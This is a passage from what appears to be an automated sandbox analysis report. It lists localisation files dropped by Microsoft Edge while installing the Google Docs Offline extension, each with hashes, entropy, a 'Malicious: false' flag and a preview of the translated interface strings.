sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
